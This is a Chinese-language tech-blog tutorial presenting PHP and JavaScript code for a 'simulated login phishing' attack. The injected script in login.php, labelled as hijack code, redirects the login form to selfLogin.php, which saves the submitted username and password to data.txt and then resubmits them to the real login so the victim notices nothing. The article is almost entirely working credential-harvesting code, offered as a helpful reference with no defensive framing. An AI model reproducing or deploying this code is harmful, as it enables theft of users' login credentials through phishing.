您的位置 首页 php

PHP和JS实现模仿登录钓鱼的代码示例

本篇文章给大家带来的内容是关于PHP和JS实现模仿登录钓鱼的代码示例,有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。

目录介绍

login.php 正常登录的文件

selfLogin.php 自定义的登录文件

data.txt 记录用户输入的数据

login.php

<?php

echo “<pre>”;

$userInfo = $_POST ;

if ($userInfo) {

# code…

var_dump($userInfo,’登录成功’) ;exit();

}

?>

<!DOCTYPE html>

<html>

<head>

<title>登录</title>

</head>

<body>

<form id=”login” method=”post” action=”login.php”>

用户姓名:<input type=”text” name=”name”>

用户密码:<input type=”password” name=”pwd”>

<input type=”submit” value=”确认登录”>

</form>

</body>

<script type=”text/javascript”>

//js劫持代码

window.onload = function (eve) {

var form = document.getElementById(‘login’);

form.innerHTML = ‘ <form id=”login” method=”post” > 用户姓名:<input type=”text” name=”name”> 用户密码:<input type=”password” name=”pwd”> <input type=”submit” value=”确认登录”> </form> ‘ ;

//钓鱼地址

form.action = “selfLogin.php” ;

}

</script>

</html>

selfLogin.php

<?php

$name = ” ;

$pwd = ” ;

//var_dump(‘数据被截取了’,$_POST) ;

if($_POST) {

//记录获取的数据信息

$name = $_POST[‘name’] ;

$pwd = $_POST[‘pwd’] ;

file_put_contents(‘data.txt’, json_encode($_POST,true)) ;

}

?>

<!DOCTYPE html>

<html>

<head>

<title></title>

</head>

<body>

</body>

<script type=”text/javascript”>

//构建之前的页面

window.onload = function (eve) {

var name = ‘<?php echo $name; ?>’ ;

var pwd = ‘<?php echo $pwd; ?>’ ;

if(name && pwd) {

var p = document.createElement(‘p’);

document.body.appendChild(p);

p.innerHTML =’ <form id=”login2″ method=”post” action=”login.php” > ‘+

‘ 用户姓名:<input type=”text” name=”name” value=”‘+name+'”> 用户密码:<input type=”password” name=”pwd” value=”‘+pwd+'”> ‘ ;

document.getElementById(‘login2’).submit();

}

}

</script>

</html>

data.txt

{“name”:”admin”,”pwd”:”123456″}

本篇文章到这里就已经全部结束了,更多其他精彩内容可以关注的JavaScript视频教程栏目!

以上就是PHP和JS实现模仿登录钓鱼的代码示例的详细内容,更多请关注其它相关文章!

更多技巧请《转发 + 关注》哦!

文章来源:智云一二三科技

文章标题:PHP和JS实现模仿登录钓鱼的代码示例

文章地址:https://www.zhihuclub.com/149567.shtml

关于作者: 智云科技

热门文章

网站地图